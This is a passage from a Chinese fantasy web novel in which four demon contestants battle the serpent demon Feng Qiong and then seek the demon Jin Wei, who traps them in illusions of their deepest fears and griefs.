莫问环顾一周,总觉得哪里怪怪的,始终不敢往前迈步,听见这话,直言道:“三公子,一会它出来了,你可一定要小心,这里是它的的地盘,可比你想象得危险。”
符枝冷哼一声,“我当然知道,你管好自己,小心死在这里。”
章传道:“符兄,莫要再置气,他说的对,我们确实要小心。”
芷禾睨一眼章传,打心眼里不喜欢他这番做派,于是道:“再起内讧,大家都得死,专心点吧。”
“嗒……嗒……嗒……”
寂静的洞穴深处忽然传来突兀的滴水声,四妖皆屏息以待,四双锋利的眼睛扫视着洞穴里每一处地方。
“吼!”
忽然,一句叫吼同一股浓烈的腥气从他们头顶悬落——
“该死!”
四妖被迫分开,符枝扬声怒骂。
奉穷已变为最大妖体,硕长的蛇身在半空游离,似乎在做什么选择。
章传道:“没想到大名鼎鼎的恶妖奉穷,竟是个爱玩阴把戏的懦夫!”
符枝道:“有本事下来和我们打一架。”
“三公子,别整天打打杀杀的,有失和气。”莫问揶揄道。
芷禾朝他丢去一块石子,“这时候还有心调戏他,你不要命了。”
莫问笑道:“那不然呢?反正我们杀不死他,他也杀不死我们。”
“莫公子,你认真些。”章传眉间堆了些怒意,“你不想赢,我们想。”
在章传话语刚落的一瞬间,莫问身前突然出现一件法器,而当他看明白那是什么,眼前只剩下莫问雪白的衣角。
他竟一人先冲了上去!
“谁说我不想赢,还不快上!”
莫问迅速施出一个天罗地网,章传等人即刻跟上,将其加固,奉穷退无可退,沉重的身体往地面一砸,扬起的灰尘险些蒙了四妖的眼睛。
天罗地网追上!
将奉穷死死锁在地上,而不等将其收服,从它身体中又凭空生出数条触角,气息太猛烈,将四妖悉数击退,砸向石壁。
那触手,竟一点一点将天罗地网撕扯开来,奉穷归为自由。
莫问吐出一口血来,气焰嚣张地问它:“你既不杀我们,又把我们引进来,到底所谓何意?”
符枝道:“你在胡说八道些什么?”
“吼!”
奉穷直扑莫问,触手先一步将他锁住,下一刻,它那低沉、嘶哑的声音响起:“谁说我不杀你?”
莫问挣扎一番,皮肤却越发麻木,这该死的恶妖,竟正往他身体里注入毒素!
莫问忽而笑了,“原来你会说话。”
奉穷道:“你太有意思了,我一定要杀了你。”
芷禾道:“喂!你杀了他,可就不许再杀我们了。”
“贪生怕死之辈,我连你一起杀。”
芷禾也被卷上半空。
章传道:“怎么样才能放过我们?”
奉穷的红眼扫过这个说话始终滴水不漏的兔妖,冷冷道:“你有胆量,我放你出去。”
话音落,符枝被倒吊而起。
“三公子?你是孟鸾的儿子?”
符枝将长刀指向它面门,怒喝:“我母亲
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的名讳岂是你能直呼的?”
“哼!她能坐上妖王之位,我还有功呢!只可惜她是宵小之辈,上不得台面。”奉穷道,“那今日,我就把她宠爱的儿子,一口一口,给吃掉。”
章传已退至洞口,坦然道:“我先走了,各位珍重。”
符枝喝道:“章传,你个小人!”
而他忽然又觉得,腿上那股束缚之力猛然被抽离而去,他不受控制地下坠,意识到这一点,他猛然翻身,再一看,莫问与芷禾皆已向奉穷扎去。
三妖齐至,奉穷难敌这最盛的妖力,只得向下逃窜,但那先行逃窜的兔妖,不知何时又出现,手中巨弓绷紧,长箭飞出——
奉穷飞速躲开,却还是被划伤肚皮,断数条触角。
四人再度紧靠。
芷禾问:“你对它做了什么?”
莫问冷笑:“难不成这天下的妖,只他会下毒?”
章传道:“莫公子聪慧过人,在下佩服。”
只见那奉穷浑身黑气喷发,嘶吼声不绝于耳,声声都在告诫四妖。
它在发怒。
莫问深吸一口气,提出建议:“我想我们得走了,今日捉不住他。”
章传道:“莫公子,我承认你骁勇善战,但这是最后关头了,我们必须将他缉拿归案。”
章传再度飞向奉穷,而他身上的黑气,也越发浓厚了。
芷禾道:“他竟已修炼到黑气末级。”
符枝道:“既如此,那我便同他拼一把!”
莫问叫不住符枝,只能在芷禾看过来时,无耐道:“你愿意去拼一把吗?”
四妖齐飞,原形毕露。
奉穷与之相对,凶光更甚。
“来,都来,都去死吧!”
符枝凶狠,不管不顾地咬住奉穷的尾巴,绝不松口。
芷禾则用处花妖一脉最擅长的化息术,奉穷的嚣张气焰稍稍降下。
章传看向莫问:“我们的目标是它的头,莫兄,你去还是我去?”
莫问道:“你去,我得,控制住它。”
“好!”
章传毫不犹豫地直冲奉穷,一口咬在它头颅之上。
莫问悬停在奉穷之前,眼里红光闪现,试图将奉穷用魅术所困。
“哼!不自量力的废物们!”
奉穷周身泛起红光,将粘黏在它身上的三妖甩开,再直冲莫问,数条触角将他包裹,毒素不断往他身上注入。
“你竟敢!你竟敢入我识海!”奉穷已经彻底疯了,黑气将他与莫问共同包裹。
被砸下的三妖听见他怒不可遏的一句:
“你是只聪明的妖,只可惜,聪明用错地方了!”
“吼!”
三妖闭眼,以为一切归于平静。
唯一心有不甘的,只是芷禾,她以为莫问死了,愿为他在内心祈愿。
而当他们再睁眼时,只见一束橙光流动,钻入奉穷的妖气之中,随后——
“嘭!”
两股气力相撞爆开!
一紫衣男子飞身而上,挑剑割断缚住莫问的触手,将莫问从奉穷手里救出。
他速度尤其快,快到无法想象。
三妖正错愕间,听见男子道:“还不快跑!”
19. 家人
当湖面水波阵阵起,蹲在水边的二人心里再难以平静。
朝临骇然道:“怎么会这样?”
江残月喃喃道:“……希望他们能能平安上岸。”
任他们再急,都是不能下水的,这是他们竞争者的任务,同行者只能卖力祈祷。
最后一道水波炸开,水溅到朝临脸上,她的脸变得煞白。
因为一同迸发而出的这股妖气,来自于奉穷。
“帝君……”她回头,无力道。
谌己只是摇头。
忽而,远处一片橙光现出,有人影在其中现身,直向湖面。
“是九尾狐一脉。”谌己起身,慢慢走来,“我没猜错的话,那应是莫问的手足。”
江残月眼里闪过一丝不安。
“不是他。”
短短三字,又让江残月背脊弯下去。
“嗯。”
谌己淡漠地看向她:“江姑娘,还请快些振作起来,待他们一上岸便医治,否则不等那祝佯现身,我们都得打道回府。”
“残月知道。”江残月望着归于平静的湖面,“敢问帝君,他们还需几时才能出来。”
“快了。”
谌己话音刚落,湖水再次炸开,芷禾等人依次飞上岸,再狼狈摔向地面,江残月冷静地奔向他们。
莫问比他们情况好很多,由方才下水那位搀扶上来。
那人面容温雅,气质温润,一袭白衣,虽全身被水浸湿,风姿却丝毫未减。
他一声不吭地将已昏迷莫问送到江残月身边,抱手等待着,直到江残月探看完莫问的气息,与他道:“他并无大碍,只是妖气受损,吃颗聚息丹即可。”
“嗯。”男子回道,又朝谌己走来,躬身,抱手,“帝君,您对我九尾狐一脉的恩情,其渊永生难忘。”
谌己道:“我没做什么,是他自己一步步走到现在。”
莫其渊道:“帝君,奉穷近些年在偷修禁忌之术,即将魔化,他们四人恐无法将其制服。”
谌己道:“只是计策罢了,不来这不共山,他们无法抵达大川。”
“帝君,您的意思是……”莫其渊眼中闪过精光,忽而笑道:“您果然神机妙算。”
“你不去协助他们拿下千妄,跑来这里,就不怕出局吗?”谌己问。
“无妨。”莫其渊看向莫问,坦然道:“我此行本就为护着他,出不出局并不重要。”
“他有多久没回青丘了?”
“快百年了。”莫其渊道,“这混小子,也不知道回家看看他兄长。”
谌己沉吟片刻,“待他拿下妖王之位,你可携九尾全脉都来祝贺他。”
闻言,莫其渊颇为感激地看向谌己,“帝君,您所说当真,他真能拿下这妖王之位?”
“你且拭目以待。”
“好!”
莫问吐出一口水,莫其渊最后再帮他运气一番,赶在他醒前飞身离去。
朝临问谌己:“帝君,他也姓莫吗?”
“嗯。”
“他是莫问兄长吗?”
“嗯,他是青丘掌权者膝下最年长的继承人。”
朝临:“那莫问是最小的吗?”
谌己不再说话了。
承光道:“莫问是青丘最小的公子,听闻与家里大吵一架,负气出走,至今已过百年。”
“这么久啊……”朝临总觉得时间流动是缓慢的,于是暗自思索,他这么长时间不回去,不会觉得岁月荒凉么?
莫问自醒来后,似乎意识到了什么,脸上一直挂着怏怏的表情。
朝临走向他,问:“你死不了吧?”
莫问白她一眼,愤愤道:“放心吧,我不会比你先死。”
“……”朝临确认他已经没事了,于是说道:“我见到你哥哥了。”
莫问:“哦,我也见到了。”
朝临道:“见到哥哥怎么是这副臭表情?况且他还救了你。”
“我巴不得他不救我!”莫问吼道,“谁稀罕,这么久不来找我,今天这一出还想让我感激他不成。”
朝临道:“你这人怎么如此蛮不讲理,你自己负气出走,还怪起家人来了?”
莫问冷哼,“家人家人,你有家人吗,你知道什么是家人吗?”
“我……”她自然是不知道的。
“那就少管我。”
“莫问。”谌己冷冷打断他,“你这下去一趟脾性见长,莫不是那奉穷把你脑子吓坏了?”
“……”莫问张了张嘴,什么都说不出。
谌己看着朝临,她白皙的脸上已然带上绯红,一向澄澈的眼眸中,此刻正被茫然所控,他心中一股子怒气。
“知道他吞了火药,还要散发你的好心,你是不是闲得慌?”
朝临抬眼,悻悻道:“帝君,我就是想安慰安慰他,谁知道他那么暴躁……”说着便瞪一眼莫问:“随你去吧!”
莫问别看眼,不说话了。
谌己将朝临叫到一旁,问道:“怎么了?真把他的话放在心上了?”
朝临想说是的,话到嘴边还是变成了:“没有,我本来就没有亲人,自然无法理解,他说的,也不全错。”
“口是心非。”谌己戳破她的谎言,黢黑的眸子紧紧盯着她的头顶,没忍住伸手揉了把,朝临有意转了下头。
“我问你,你在何处幻化出人形?”
朝临圆圆的杏眼转溜一圈,道:“霄华殿啊。”
“那霄华殿就是你的家。”谌己慢慢道,“殿内所有人,都是你的家人。”
找到归宿是一件很令人动容的事,尤其是这件事从谌己嘴里说出来,就更使朝临感到如梦如幻。
“真的吗?”
“你不想吗?”
“想啊!”朝临心间的阴霾一扫而空,此刻她直想大笑,但人太多,她只偷偷笑一下,“那帝君,我们也是家人喽?”
谌己心中鲜少有像此刻这种欢愉的情绪。
他没忍住随着朝临一起笑,又在她看来时收回嘴角。
“帝君,得多笑一笑,对身体好。”
谌己:“……我不需要。”
嗯,这才是高岭之花的素养,喜乐绝不外露。
休整一番,众人在岸边一棵巨树下集合,莫问坐在石头上,其余三妖看着他,等着他说话。
他道:“听章兄弟的吧。”
“我的计策已然失败,莫兄弟在来之前似乎有别的看法,只是情况紧急,我见你没来得及说,现在正是时候。”章传压根不愿看他,宁愿对着虚空道。
符枝道:“说来听听。”
“等。”莫问直言。
芷禾:“等
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什么?”
莫问:“等天道把我们送到金薇那里去。”
“可章兄不是说那金薇很难对付吗?”芷禾不愿相信,“奉穷我们都打不过,更别说对抗那金薇。”
莫问看向她:“如果奉穷一开始就只是为了把我们引过来呢?”
“什么……”
“轰……轰……轰……”
大地抖动起来。
“来了,都做好准备。”
谌己平静道。
符枝道:“这是祝佯吗?”
话音刚落,几人皆是凭空而起,原是祝佯已游至他们脚下,正带着他们飞快地往北方行去。
漫天黄土,世界好似只剩祝佯在土下钻灰的声音,朝临快要站不住脚,胡乱间抓住一只手,那手霸道地将她一扯,她便转向主人怀中。
淡淡的花香。
是谌己。
“帝君……”
“不要说话,闭上眼睛,很快就到了。”
耳边的碰撞声慢慢消失,身子也彻底稳住,朝临双手悬空,她咬咬牙,干脆一把抱住谌己的腰。
不知飞了多久,祝佯缓缓停下,不客气地将人甩下,临走时怒骂道:“你们这群乱七八糟的人,休想给我回去!”
被莫问追着骂:“你除了会刨两下土还能干什么,来来来,我们打一架来!”
“……”祝佯消失得无影无踪。
这是一片荒山,灰土灰天,好像永无天日。
也是朝临梦中的那一片,这儿,藏着金薇。
莫问这边还在恼,那边章传已经拾起地上一棵石子,攥在手心,闭眼测探,片刻后,他睁开眼,将石子丢开,道:“此处是片死山。”
谌己道:“这便是大川。”
江残月道:“那金薇的藏身之所?”
“不错。”莫问环顾四周,目光停在某处,“今日应该找不到它。”
章传问:“何出此言?”
“金薇知道我们来了,但这大川毫无反应,她应该是不想接待我们,那就再等等。”
符枝道:“我们就四日时间了,耗不起了,青丘小公子。”
莫问横他一眼,“不许这么喊我!”
“好了,今日你们都消耗太多气力,先原地休息。”谌己道,“待天亮之时再出发。”
章传问道:“帝君,这大川不是常年都是灰天吗,怎么会天亮?”
“你倒是熟悉这座山。”谌己意味不明道,“倘若明天金薇就主动邀请我们了呢?你应该知道,金薇开花之时,这些阴霾就会散去。”
众人便放心地生火、烤饼。
入夜后,这片荒山更显诡谲。
朝临耗了很大精力才入睡。
没想到梦里又找到了金薇。
这次这片荒山都开满了花,金薇就藏在哪个花丛中,对她道:“又见面了,我好生想你。”
朝临猛地睁开眼,远处的天幕闪过一缕红光,验证了她的梦。
谌己不知什么时候已经起来,听到动静后看过来,问她:“又做梦了?”
朝临点头,道:“帝君,金薇她,好像在叫我过去。”
“我知道。”谌己道,“你把江残月和莫问叫起来,我们一起去找她。”
“其他人不叫吗?”
谌己由她:“你可以试试。”
20. 幻境
朝临半信半疑地往承光肩上推一把,他平常很敏锐,此刻却沉沉睡着,毫无反应。
她便去叫江残月。
江残月秀眉微蹙,呼吸稍急,似乎她正陷在一个可怖的睡梦中。
“残月,不要害怕,只是梦而已,我是朝临,你快醒醒。”
朝临加重推她的力度,凑近她,继续道:“残月,残月……”
江残月猛地睁眼,一见朝临,眼中闪过一丝恐慌。
“朝临……原来是你。”她的胸腔上下起伏,“我做了一个噩梦,我梦见金薇了,她说郑之义已经死了,我……”
江残月眼眶微红,朝临轻轻拍她。
原来她一直在找的那人叫郑之义。
“没事的。”朝临收起心间的好奇,缓声道:“只是一个梦,我们现在就去找金薇。”
“好。”
朝临又去叫莫问,他也和江残月陷入了一样的情况。
江残月问:“他,也是做噩梦了吗?”
“应该是的,我也做了个噩梦。”说着,朝临便重重推向莫问,“起床了,快点的!”
“……”莫问不为所动。
她便给了他两巴掌。
“啊!”莫问惊恐坐起,可见其梦中的内容也不平常。
“我梦见金薇了!”
朝临拉着江残月站起身。
居高临下道:“我们都梦见了。”
“莫问,快起来,我们这就去找金薇了。”
莫问起身,拍拍身上的灰土,问:“不叫他们吗?”
朝临道:“叫不醒。”
“金薇将他们催眠了。”谌己解释道,“准确来说,她只邀请了我们四人。”
莫问喃喃:“那她还算看得起我,江姑娘,你刚刚梦见……”
“走吧,过了时间,她可就不愿等我们了。”
谌己淡淡打断他。
“设下探息之术,敛息收神,往西北方向。”
四人一路向西北速行,约三里路后,谌己示意大家停下。
江残月道:“我怎么感觉此处不太对劲。”她捂着心脏处,“好像有什么东西在掐着我的心脏,我有点,呼吸不过来……”
莫问道:“此处妖气浓厚,金薇或许就在附近。江姑娘,你若是受不了,可以先行回去。”
江残月摇头,躲开他的搀扶,“我可以。”她吞下一颗药丸,脸上恢复些许气色。
“你呢?”谌己问朝临。
按理来说,凭朝临低微的修为,应当是扛不住金微的妖气的,但她又确实没有异感。
“我没事。”
“那就好。”谌己若有所思地看了朝临,“稍后小心行事。”
“什……”
朝临的话,被四下骤起的紫色妖气所晕开。
五颜六色的花儿在其中竞相生长而出,待紫气散去,花开至漫山遍野。
朝临想到那夜与金薇的相见,大妖身上的肃杀之气透过时间与空间,还在压迫着她。
左手手腕在这时被圈住,属于谌己的温热体温覆在她的皮肤上。
“她不能拿你怎么样,不用害怕。”
“嗯。”朝临紧攥拳头,“我不怕,帝君,你也小心些。”
不知从哪个方向刮来大风,花朵上附着的各色粉末便随风而起,似有漫天星点。
朝临抬眼,眼睛追踪其中一个亮点,忽而陷入一阵晕厥,再醒来时,四周景象变幻。
眼前白茫茫一片,只剩白色。
她欲伸手在眼前一晃,却察觉不到四肢的存在。
她这是,怎么了?
“怎么办,莫问未坐上妖王之位,如今妖王印也凭空消失,朝临的脉应当是造不成了。”
是承光的声音。
“造不成,就算了吧。”谌己一贯冷漠的声音传来,“她的命,其实无足轻重。”
“帝君,这一路走来,您真的忍心朝临就这么死去吗?”承光道,“这冰棺又能撑多久呢,再不抓紧时间造脉,她真的会死的……”
“承光,你又在做自不量力的事。”谌己毫无感情道,“死了就死了,也免得我再费神。”
“……”
朝临感受到一阵前所未有的恐惧感,她惧怕,惧怕谌己不再管她,惧怕死亡。
她很想大声告诉他们,她还活着,尚且能走能跳,一切都还有机会。可他们都听不到她的呼喊。
后背的寒冽之气逐渐清晰,她很冷。
慢慢地,竟有一种魂魄离体的缥缈感。
“帝君,我不想死,我也不能死。”
“你不是说我不会死吗?”
“你怎么,食言……”
掌间在这时一痛,像被刀子刮过。
朝临猛然睁开眼,意识到什么,大口呼吸。
莫问还没有去夺妖王之位,第二轮考测还未结束,他们正在寻找金薇的路上。
“金薇!”
“放我出去,我知道是你!”
眼前紫光一闪,刺地朝临双眼一痛,双手方才还被禁锢住,现在已然覆在她的双眼之上。
金薇之声悠悠而来:“倒是个,有意思的姑娘……”
谌己再睁眼时,玉霄池边的海棠树恰好落下来一片叶子,掉在池水之中,随流而去。
日光正好,可这里的禁制还是没有被收回,使得空气中徒增压抑。
“叮!”
碗碎声打破沉静。
“上神殿下,您怎么了?”
神侍焦急的声音自炽雲寝房刺出,落在谌己的神经上。
一时间,殿内所有神侍都从各处涌入寝房。
“殿下,殿下您怎么了?”
“您睁睁眼,不要睡,我这就去请勿舆上神……”
“南橙,你去找帝君,快!”
名叫南橙的神侍很快从大门冲出,见到她要找的人,眼泪瞬间落下,“帝君,您来了,您快进去看看殿下,上神她……”
谌己的双眼早已变得猩红。
他本该很急,却将每一步都走得很慢。
神侍们为他让路,他最终脱力一般在榻边跪下。
“母亲?”他柔声唤她,她面色苍白。
炽雲的眼皮慢慢掀起。
“谌己,是你吗?”
“是我。”
“我儿来了,我儿来了……”炽雲毫无神采的眼睛里溢出泪水,双手艰难地从被褥中探出,谌己牵紧这只纤细的手,心如刀绞。
谌己另只手正在颤抖。
他哑声道:“母亲,我为您渡气。”
“不用。”炽雲气若游丝,“没用的,还会害了你。”
谌己道:“不会,我有分寸,还请不要阻止我。”
“可我不需要。”炽雲呼吸变得粗重,任谁来看都会怕她就此咽了气。
“母亲,”谌己不管她如何说,只做自己想做的,气息缓缓注入,“您的命,比什么都重要……”
“咳咳……”炽雲皱眉,呼吸很慢,“我儿,不愧为神界之傲……”
谌己却在这时停下来。
炽雲半眯的眼睛里透出精光。
“怎么了?”
“母亲,我什么时候成为,神界之傲了?”谌己沉声问。
“……或许,从你出生开始。”
谌己起身,眸光恢复成冰冷的样子。
他不再看奄奄一息的炽雲。
而是盯着殿内某处,强忍怒火。
“金薇,你是想死吗?”
“帝君,我这是在帮你啊。”金薇的声音惶惶传来。
“哼!”眼前的景象慢慢崩塌,谌己紧盯着废墟当中的一道妖气,“考测结束后,我一定会杀了你。”
江残月嗅到
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一股不知名的花香,与她过往二十几年闻过的所有味道都不同。
这是一种集甜腻与苦涩于一起的味道,淡淡的腐烂味在气味灌进鼻腔后,缓缓蔓延。
但又确实是香味。
香味越发浓重,到后来竟然有些熏眼睛,她闭上眼,忽而一阵暖风,吹动她垂在双肩的发丝。
再睁眼,她便回到了残月阁。
她才从外采完药草回来,残月阁的门不知被谁推开,里面隐约有人在对话。
“真是个苦命的女人,男人这么多年不回来就算了,一回来就……哎!”
江残月心跳漏掉一拍,险些要踏不进回家的门槛。
正说话那二人,听见动静回头来,其中一人赶忙过来迎她,嘴上一边说:“江姑娘哟,你可算回来了,出大事了!”
喉咙被一股酸楚堵住,江残月呆呆地问道:“怎么了?”
“我们找到郑之义了!”身穿黑衣的大汉道,“我们今日晨间从净河回来,船行至岸边,猛然发现岸上有一躺尸,走近一看原是郑兄弟!”
“你们是说,你们找到郑之义了?”
江残月似乎不信,倔强地问道。
“是呀!”另一面大汉道,“郑兄弟约莫是在回家途中遭贼人所害,死在了家门口……”
晶莹的泪珠自女人脸颊上滑落,滴在青石地板上,那二人见她这样,也难免苦涩。
黑衣男子道:“江姑娘,还请节哀,人去楼空,需往前看。”
江残月抹一把眼泪,哀声问道:“敢问尸体在哪?”
“正在运回的路上,估摸着马上就到了……”
话音未落全,有四人抬竹架进来,竹架上躺着一人,被白布覆盖。
江残月险些瘫倒,好在身边有石桌,她抓紧边缘,指节泛白。
人界冬日萧条。
他们将尸体轻轻放下,不与她再说什么,慢慢退去,带上阁门。
冬日的风肆虐,从江残月腕间吹过,又将尸体上的白布掀开一角。
江残月脱力似的跪坐在地。
心脏被狠狠挤压,呼吸停在肺里,眼泪无声下落。
只一眼,只需一眼,她便认出那是她的爱人。
他还是那般俊秀,经年不见,竟还如少年一样。
江残月慢慢的,慢慢地朝他而去。
他的鼻峰挺秀依旧,唇色却已苍白。
他在告诉她,他已经死去。
江残月温热的手掌轻柔地托住他的脸,像以往很多次那样。
可他回以冰凉,无尽的冰凉。
江残月便趴在他身上,紧攥他的手,沉沉睡去。
直到夜晚,冻雨来席。
她被一点一点的,细碎的凉意唤醒。
第二日,天色转好,阳光自云层中透出,不热。
江残月找了处依山傍水的地方,将郑之义葬好。从头至尾,皆是她一人在忙,忙活到又一个夜色降临,烛火摇曳,纸灰纷飞。
她的泪早已哭尽,只凭着念想机械般地动作着。
江残月盯着坟头,心中无限悲凉,她摸出匕首,拔出来,刀光反射,她的双眼冰寒,似乎毫无求生之志。
血液自刀间滑下。
江残月并没有倒,她只是将掌心划开,以此来告诉自己,眼前的一切都不是真的。
“金薇,是你吧。”她冷淡道。
“嗯?你竟识破了。你是如何做到的?”
“我与郑之义有五年未见,但他却毫无变化……”江残月眸光暗淡,“你若是能让他稍稍变老,说不定我就信了。”
“你真聪明。”金薇缓缓道。
江残月失神地想,就差那么一点点,她就真的以为那是郑之义。
她是清醒着沉沦。
事已至此,她不会就这么死去。
她还是要继续找他的。
21. 无他
青丘山,云雾缭绕。
莫问自其间穿过,山脚茂密的丛林便出现在眼前。
已经百年未回,家门丝毫未变。然近乡情怯,他摩挲着守门大柳,慨然道:“柳叔,你怎么老了这么多?”
大柳苍老的声音丝毫未变,还是那般温和:“小公子,你可终于回来了,我在这,等了您一百年呐。”
“你最近还好吗?”
大柳道:“我很好,大统领许我独守山门,除了偶尔觉得孤独,其他时间都可以说悠然自得。”
“那便好。”莫问心间感怀,“家里,近来可好?”
大柳静默一段时间,而后才道:“小公子,你百年未回来,整个青丘,正在慢慢变天呐……”
莫问惴惴不安地深入青丘山,只寻得一片死寂。
往日热闹的大路与小街,在白日里却没了人影,他不安地在街道上奔走,血腥之气不断在鼻尖萦绕。
在这条街的尽头,出现一抹突兀的鲜红。
莫问继续前行,终于看清倒在死路上的同胞,一个压着一个,面目祥和,皆无声息,血河流出很远。
莫问的心脏跟被尖刀扎了一样痛。
他像是失去神智,不管不顾跑回统领府,再重重敲响那扇紧闭的大门。
“开门!开门!”
“父亲,母亲,问儿回来了,你们快开门!”
“轰——”
褐红大门缓缓打开,开门的是面如土色的莫其渊。
兄弟二人相顾无言,这时莫其渊的反应已经告诉莫问,家中发生了难事。
“怎么了?”莫问小心地问道。
下一瞬,莫其渊的巴掌便毫不犹豫地落在莫问脸上,发出清脆的一声响。
“你个小兔崽子,还记得你有个家啊?”
莫问懵了一懵,立马吼道:“你疯了?”
莫其渊咬牙切齿,“我看你才疯了,青丘发生这么大的事,你现在才回来!”
“青丘,发生什么事了?”
他竟从没听过。
“你给我进来。”莫其渊一路拖着莫问,将他带到双亲寝殿,并未马上推门,“族中内乱,父亲被庄因重伤,刚刚醒来。”
“那母亲呢?”
“母亲没事,大家都在里面,你进去千万不能乱来。”
莫问撇嘴,“知道了。”
他见到了许久未见的亲人,动静吵醒莫如迁,只见他艰难地将眼皮掀起,微弱的目光停在最小的孩子身上,好半天才说:“哼!你个孽障,还记得回来!”
莫问坐在他榻边,见他气息微薄的模样,心里有再多不悦的话,此刻也无法说出一句。
“嗯,回来了。”
“臭小子……”莫如迁稍稍平复些心情,“回来还走吗?”
“说不定。”
“咳……”他马上又气得发抖,“那你滚!”
莫问不滚,干坐着。
他跟莫如迁耗了半天,入夜时,赵羌给他送来吃的,“话要慢慢说,先吃点东西。”
莫问囫囵地将饭菜吃下,莫如迁紧闭双眼,不肯跟他说话。莫问不是有耐心的主,见这情况,抽身欲走,莫如迁却忽然说道:“你一定要抢那妖王之位吗?”
“不抢怎么让你知道我的实力?”莫问隐忍道。
“我从来没否定你。”
“你有,从你不让我进任何格斗场开始,你就在否定我。”
赵羌道:“问儿,我们从来没有否定你,你一直是家族的佼佼者,你可以去做任何事情。”
“唯独不能做妖王?”
“嗯。”赵羌答得干脆。
莫问自嘲地笑,不愿再说下去,便问:“青丘到底发生什么了,为什么他们都闭口不谈?”
“是庄因,联合魔界贼子欲屠我统领府。”莫如迁道,“不过被你兄姐们击退了。”
“我看他的目标是你吧?”莫问冷冷道。
“是的,所以有了我现在要死不活的样子。”他很坦然。
莫问咬牙,“我先……”
话音还未落地,箭声响,箭气擦着他的耳边而过,准确没入赵羌的身体。
赵羌倒得悄无声息,甚至没来得及再跟莫问说句话。
“母亲,母亲你怎……”
莫问腿一软,跌撞着爬向赵羌,门在这时被一脚踢开,门外整齐地排列着数不清的人。
而在那人群后面,则是整座统领府被绑架的家丁。
“今日莫家人都在这了,刚好一网打尽。”庄因对他身边的面具男道。
“嗯,先把莫如迁杀了。”
“好。”
庄因居高临下地凝视着莫问,讥讽道:“这不是青丘小公子吗,这么多年了,你终于肯回来了?只可惜,一回来就碰见这事,也是你不幸运……”
庄因出手,狐尾耸起,直向莫问。
莫问躲开他的追捕,与他相对而立,“你杀不了我。”
庄因即刻出现在莫如迁身边,做出胜者的姿态,道:“你搞错了,我是要杀他。”
一把匕首凭空出现在他手中。
“不要!”
莫问晚了一步,莫如迁的热血喷撒在他的脸颊之上,他颓然倒地,耳边是叛乱者们发疯般的笑声。
一种古怪的感觉在心中升起,莫问被仇恨占满的眼眸中闪过一丝别样的光芒,他一向擅长逃跑。
而他确实只顾着自己逃跑,不一会就逃出生天。
他站在四色苍茫之下,对着虚空,咬牙道:“金薇,等我找到你,一定会让你尝尝死亡的滋味!”
世界猛然崩塌,眼前景象快速扭曲,黑与白交替出现,最后停在黑夜。
他们都还在方才的地方,在寻找金薇的路上。
朝临不确信地看向另外三人,问:“我可以信你们吗?”
江残月道:“我们被金薇设计了。”
莫问道:“好险,差点死在幻境里。”
朝临确认他们二人是真身,三人一同看向谌己,纷纷见他眼露凶光,面色凝重。
朝临与江残月对视一眼,明了她的意思,便小心问:“帝君,你也入幻境了吗?”
“嗯。”谌己敛去眼里的情绪,道:“她已经走了。”
莫问道:“这玩意怎么会知道那么多事情?”
“我们入的是心魔,是幻镜的一种。”
如果是纯粹的幻境,谌己绝不至于踏入,他也是在清醒那一刻才反应过来,他们进入的是被金薇所控制的心魔。
“难道她被封印在这里千年,修为又提高了?”莫问讶然。
“嗯。”
“这大川如此之大,难道只能由着她来戏弄我们吗?”朝临有些后怕。
江残月道:“如果我们没有看出这是她的有意为之,是不是就会死?”
“没错。”莫问表情凝重,“我们当中有任何一个人没看出来,其他人都得被困在心魔当中。”
谌己抬手,一束流光飞出,上空便出现一个巨大的封印记号。
“她没走远,先回去。”
另外四人还睡着,朝临与江残月将四人一一唤醒。
章传细心,从一言一行中看出些端倪,问道:“发生什么事了?”
莫问将事情经过同大家讲述一遍。
章传眼露精光,追问:“你是说金薇已经修炼出能识人心魔的能力?”
朝临问道:“这是什么稀奇的事吗?”
“没错!”章传拍一下大腿,“说明在这千年中,她又进步了,变得更强了。”
符枝道:“那我们捉拿她的难度不就越来越大了吗?”
“我有办法找到她。”章传兴奋道。
谌己问:“什么办法?”<
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“可以与她做交易,我早些年习得一种术法,可与五界任意生民隔空交流,我保证能找到金薇。”
“试试看。”
章传道:“只是我能力有限,还请帝君为我护法。”
章传原地坐下,嘴里喃喃念着晦涩的咒语,谌己在一旁为他护法,半时辰后,章传猛地睁眼,吐出一口鲜血,而他却不露痛苦喊道:“我找到了!”
还未等江残月为他疗完伤,他便放出一只纸鸢,朝众人道:“跟着它!”
纸鸢在夜空中飞行,忽停忽走,时左时右,带着众人在大川之间胡乱游走。
满目荒凉,其实在夜色下看不出沿路的异同,但敏锐一些的人,早已发现四周气息有所变化。
纸鸢停在一处碎石堆里。
章传警惕道:“金薇就在这附近。”
四周的景象并无异处,在有的人还在怀疑之时,地面正有什么气息在流动。
荒地慢慢开满五颜六色的花,将每个人单独圈围起来,那朵孤独艳丽的花,长在石块之上,分明很近,看久了却觉远在天边。
当花儿朵朵盛放,世间的灰黑慢慢被冲散。
承光一晃神,回到了神界。
勿舆正在殿上设宴,热切地招待着每一个前来的客人,承光朝他走去,“师傅”二字还未出口,他便从他身上穿过。
这是,看不见么?
勿舆走到膳房,里面都是承光的同僚,他们一见勿舆,无不笑容满面,承光却在其中发现一个陌生面孔,正与他的好友洛昶有说有笑。
洛昶道:“殿下,您就放一百个心,这道菜,我们肯定能做出来!”
“好。”勿舆笑道,“就看你们的了。”
席间,那陌生男子占据了以往承光站的地方,游刃有余地替勿舆挡下一部分香醇美酒。
承光疑惑,他奋力出声,可无人在意。
鬼界生变,天帝命谌己前去援助。
而跟在谌己身边的,依旧是那个男子。
他好像取代了承光的一切。
承光跟着他们前去,原是鬼界贼人叛变,好在局势很快稳住,贼人受捕,谌己与那人回到神界。
勿舆赶去霄华殿,带去美酒,与谌己共饮。
“殿下,我那徒弟可还机灵?”
这话,承光之前在勿舆嘴里已经听过一次。那时候,勿舆指的是承光。
谌己道:“问这个做什么?”
勿舆追问:“你到底有没有仔细培养他?”
谌己:“天资平平,你尽早接回去。”
“你怎么能这样。”勿舆看着不怎么高兴,“都过去这么久了,我都释怀了,你怎么还这么死脑筋……”
朝临与莫问在残月阁收拾屋子,这儿没有了往日的生机,应是没有人收拾,江残月或许已经找到她的心上人,随他而去了。
二人一直收到夕阳西下,莫问做出几道菜,朝临备好酒水,过不久,符枝和芷禾也赶来,四人一同就着天光吃饭。
朝临道:“今日天气真好。”
芷禾道:“对呀,饭菜也好吃。”
“可惜了……”符枝忽然没头没尾道
莫问瞥他一眼,道:“天气这么好,你们怎么没人来犯点书生病?”
朝临道:“滚开,现在谁还会玩这些?”
莫问别开视线,承光注意到,他眼中已堆上一抹痛楚。
